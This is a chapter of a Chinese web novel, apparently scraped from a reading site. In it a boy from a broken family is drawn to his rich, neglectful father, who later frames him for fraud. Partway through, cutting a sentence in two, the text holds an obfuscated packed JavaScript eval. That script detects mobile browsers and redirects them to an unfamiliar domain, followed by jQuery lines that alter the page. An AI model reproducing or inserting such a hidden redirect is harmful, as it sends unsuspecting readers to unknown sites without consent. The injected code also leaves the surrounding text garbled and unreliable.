许鹤川很小就知道，父母之间的婚姻无疑就是一场悲剧。
母亲出身书香世家，父亲则是个大老粗。林世勋对许明珠一见倾心，热烈追求她。许明珠像偶像剧女主角一样不顾家人的反对，毅然嫁给了情郎。
婚后前几年两人甜甜蜜蜜，后来孩子出生了，许明珠要照顾孩子，精力不济，工作上老是出错被骂，心里很委屈，林世勋就让老婆干脆辞职在家里，反正他挣的多，能养活一大家子。
林世勋开了家娱.乐城，生意越做越大，应酬也多，经常早出晚归，夫妻之间争吵不断。
许明珠没了工作，就把精力都放在许鹤川的教育上，对他要求很严格，考试考不到前三名就要挨打，许鹤川觉得妈妈很恐怖，所以他更喜欢偶尔给自己买玩具，带他去麦当劳吃饭的爸爸。
后来他五岁的时候，许明珠发现林世勋有了外遇，她大吵大闹，林世勋哄多了，觉得很不耐烦，说要离就离。
可许明珠家里比较传统，都劝她不要离婚，他们家丢不起这个人，而且她又是个家庭主妇，没有经济收入。许明珠只好打碎牙齿往肚里咽，想要生二胎来弥合夫妻的感情。
在弟弟许裴夏出生以后，林世勋看起来是收敛了。后来弟弟一岁的时候有一天夜里发高烧，许明珠打车带着弟弟去医院看病，但是期间一直联系不上林世勋。
第二天林世勋在才匆匆忙忙赶来，他衬衣上甚至还留着女人的唇印，许明珠终于忍无可忍，这一次死活要离婚，谁劝都不好使。
许明珠为了要两个孩子的抚养权，宁愿净身出户，由于小三也怀孕了，所以林世勋也就顺水推舟同意了。
许明珠为了养活两个孩子，白天在超市当理货员，晚上去餐馆打工，而许鹤川要照顾自己和弟弟，根本没时间和同龄孩子玩耍。
许鹤川很希望父亲能把他带走，但父亲并没有。
躺在床上，许鹤川盯着天花板上那片潮湿发霉的斑驳，眼睛一眨不眨。
他听着母亲在隔壁房间里压低嗓音咳嗽的声音，心里像堵了一块石头，沉甸甸地压着他。
他慢慢坐起身，从枕头下摸出那部老旧的翻盖手机，指尖犹豫片刻，还是摁下了熟到不能再熟的号码。
嘟——嘟——
电话接通了，却不是父亲的声音，而是一阵嘈杂的背景音乐，夹杂着女人轻浮的笑声。
“喂？”父亲终于出声，嗓音有些不耐烦，还有点醉意未清。
许鹤川捏紧手机，手心出了汗。
“爸……”他努力让自己的声音听起来平静，“我想去你那边，行吗？”
对面沉默了几秒。
然后是一声极轻的叹息，像烟雾一样散了。
“听你妈的话。”林世勋说，语气冷淡得像是在敷衍一个无关紧要的客人，“爸忙着呢，乖啊，别闹。”
“我不闹。”许鹤川压低了嗓音，努力控制自己，“我可以帮你打杂，洗车也行，搬东西也行……”
话音未落，电话那头传来女人娇嗔的催促：“哎呀，别讲了啦，来喝一杯嘛——”
接着是一阵窸窣声，像是手机被随手搁在了一边。
嘟——嘟——
电话断了。
许鹤川怔怔地握着手机，屏幕上只剩下一片冰冷的黑。
＊
许鹤川很嫌弃这个弟弟，觉得许裴夏只会哭闹和吃东西，而且还喜欢黏着他，害他写作业都不能专心，但到底是血浓于水。
晚上，许鹤川坐在旧木桌前，笔尖在练习簿上划动，发出细碎的沙沙声。
弟弟许裴夏趴在床沿，手指无意识地揉着一角破旧的毛毯，半边脸埋在阴影里，时不时哽咽一声。
“又被人打了？”许鹤川没抬头，声音轻淡。
许裴夏猛地吸了吸鼻子，小小地“嗯”了一声，手指攥得更紧。
许鹤川合上簿子，他看着弟弟瘦小的肩膀一颤一颤，心里没什么起伏，只是觉得这哭声烦人，像深夜里漏雨的屋檐，滴答滴答，止都止不住。
“你告诉妈妈和老师了吗？”他语气冷冷地问。
许裴夏摇头，眼睛红得像樱桃，低声道：“妈妈太累了……”
许鹤川站起身，慢慢穿上外套，弟弟抬头看着他，眼里带着本能的依赖与怯怯的期盼。
“他们在哪儿？”许鹤川问。
许裴夏抹了把脸，小声说了个地名。
许鹤川找到那几个孩子时，他们正蹲在路边抽烟，嘴里骂骂咧咧。
他没多说话，只是径直走过去，一拳一个，把那几张嚣张的脸打得鼻青脸肿。
几个人哭爹喊娘求饶，巷子深处，风声穿过垃圾桶，发出低哑的呜咽。
他回家的时候，许裴夏正倚在门边，伸长了脖子等着，他瘦弱的身体在灯光下拉出一条细细的影子。
“哥……”他小声唤他。
许鹤川皱着眉没应，径直进屋，把外套搭在椅背上，手上还有淡淡的血腥气。
他拿出作文本，继续写数学习题。
过了很久，弟弟踌躇着走过来，把一个皱巴巴的小布包塞到他手里。
“给你的。”许裴夏脸红了，嗫嚅道，“攒了好久的钱……买了个钢笔。”
许鹤川愣了下，垂眸审视那支廉价的塑料钢笔，他没有说谢谢，只是把钢笔揣进口袋，继续低头写字，仿佛什么都没发生。
只有指尖微微收紧。
又过了些天，他用那支钢笔写了一篇小说投稿，收到了人生的第一笔稿费100元。
拿着钞票时，许鹤川想了很久。
他望着书店的橱窗，新版字典光可鉴人，旁边是一本他梦寐以求的小说集。
但他转头看见弟弟脚上破到露出脚趾的鞋子，心里那点不甘和渴望像潮水一样，慢慢退了。
下午放学，他带弟弟去街口的小店，挑了一双并不昂贵但结实的新鞋。
许裴夏小心翼翼地换上，穿好以后，在路边高高地跳了两下，眼睛兴奋地闪亮着。
“哥，我要快点长大，以后也要像你一样厉害。”他站在夕阳下，大声地笑着说。
许鹤川站在一旁，背着斜挎的旧书包，风吹起他额前微乱的发。
他静静地看着弟弟，心里没有多少波澜。
笨蛋，长大后你就会发现这个世界有多糟糕。
＊
许鹤川考上了一所全国数得上号的985高校。
录取通知书寄到家里的那天，母亲许明珠高兴得眼圈都红了，一边擦着围裙一边喃喃说着：“苦了这么多年，总算熬出头了……”
“哥，你太棒了！”弟弟许裴夏拿着录取通知书在屋里跳来跳去，像只欢快的小兔子。
而许鹤川，站在角落里，笑着，心里却满是说不清道不明的沉重。
未来好像终于亮了一点，但那点光微弱得像风里摇晃的烛火。
大学的生活和他想象的不一样。
身边的同学有的家境殷实，谈吐举止都带着一股不经意的优越感。
而他穿着便宜衬衫，和洗得发白的运动鞋，好像每个人都能看轻他。
讲座、竞赛、奖学金、家教……他的时间被排得满满当当，每一分钱都攒着，生怕多花一分，就让家里的锅里少了顿热饭。
他喜欢上了学校里一个笑容干净的女生——夏栀。
夏栀家境很好，谈吐大方，衣着讲究。
每次在路上偶遇，她都会冲他笑一笑，那笑容让许鹤川觉得，自己也许也能配得上更明亮的世界。
可每当他鼓起勇气想要开口，就像被一堵无形的墙狠狠挡住了。
他什么也不是。
连想请她吃顿火锅，都要盘算着月底生活费够不够。
直到那一天。
手机响了，是一个陌生的号码。
许鹤川接起来，听见那个熟悉又陌生的声音。
“鹤川啊，是爸。”
林世勋的声音里带着罕见的温和，“听说你考上大学了，还是名校，爸高兴，咱俩出来吃顿饭吧。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459745|169701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>许鹤川握着手机，僵硬了一秒，然后急忙应下。
那天的餐厅很高级，灯光打在水晶吊灯上，闪得他眼睛发晕。
林世勋穿着一身剪裁考究的西装，身边围着几个朋友，不断向人介绍：“这是我儿子，许鹤川，考上了名校，以后前途无量！”
一顿饭吃下来，林世勋拍着他的肩膀，笑着塞给他一个沉甸甸的红包：“拿着，爸高兴。”
那天晚上回到宿舍，他一夜没睡。
他偷偷用那笔钱，给母亲买了件轻薄的羽绒服，给弟弟买了台他们朝思暮想的学习机。
也是从那天起，室友们对他开始另眼相看。
有人开始主动叫他一起吃饭，有人拉着他打篮球，还有女生在课后递给他纸条。
许鹤川第一次觉得，原来自己也可以昂首挺胸地活着。
他渐渐习惯了去见林世勋。
习惯了父亲的敦敦教诲，习惯了父亲买单时不经意流露的那种大气，习惯了那个让他眼花缭乱的新世界。
有一天，许明珠终于发现他的钱是怎么来的。
许明珠红着眼睛，像个泼妇一样大声嘶吼：“别跟那个人走得太近！他就是个王八蛋！他能抛下你们一次，就能抛下第二次！”
许鹤川却冷哼一声：“要不是你当初硬要离婚，我和裴夏怎么会过得这么苦？”
这句话像一句响亮的耳光，打在她脸上。
许明珠的脸色刹那间苍白得可怕。
她转过身，声音冷得像冰渣：“你滚！以后，不用回来。”
弟弟许裴夏跪着拉着他的裤脚，一边哭一边小声劝：“哥，别走，你和妈妈道歉吧……”
可许鹤川只觉得委屈，愤怒，胸口涨得快要炸开。
他为这个家做得难道还不够多吗？
他推开弟弟，头也不回地走了。
大学三年级时，林世勋安排他到自己的公司实习。
短短几个月，许鹤川换了新手机、新表、新车。
出席酒会，结识各路权贵。
林世勋总是满脸骄傲地把他介绍给别人：“我儿子，海归预备役，以后接我班的人。”
那些曾经瞧不起他的同学，如今一个个恭维巴结。
许鹤川终于鼓起勇气，想约夏栀去看一场爱情电影。
可夏栀微笑着拒绝了：“学长，我最近在准备考试，实在没时间。”
那一刻，他才明白——原来有些人喜不喜欢他，和有没有钱没有关系。
他突然想到了妈妈和弟弟，突然很想回家。
推开家门的一瞬间，他愣住了。
母亲苍白而瘦削，脸上覆着一层蜡黄的病态。
裴夏低着头，像个做错事的小孩，轻声告诉他：“妈查出肝癌了……她不让我告诉你，怕你担心。”
许鹤川的世界天旋地转。
他扑到母亲床边，哑着嗓子发誓：“妈，我一定会给你找最好的医生，我一定会救你……”
许明珠轻轻地抚摸着他的头发，声音低得几乎听不见：“妈不怕死，妈怕死了以后，你们兄弟俩无依无靠。”
她顿了顿，又艰难地补了一句：“……别太信你爸，他不是个好人。”
许鹤川咬着牙，点了点头。
他以为自己还来得及。
可噩梦很快来临了。
大四的一天，许鹤川正在课堂上，几名警察推门而入，当众将他戴上手铐。
罪名是涉嫌集资诈骗。
原来，那些他曾经被要求签字的文件，都是父亲精心设计的陷阱。
公司法人代表的名字，是他的。
林世勋早就布好局，等着让他背锅。
许鹤川崩溃不已，要揭发林世勋的罪行。
但律师冷冰冰地传达了林世勋的话：
——“想清楚，揭发可以。但你妈和你弟弟该怎么办？”
——“你乖乖坐几年牢，出来以后，五百万，随你花。”
他闭上眼，签下认罪协议。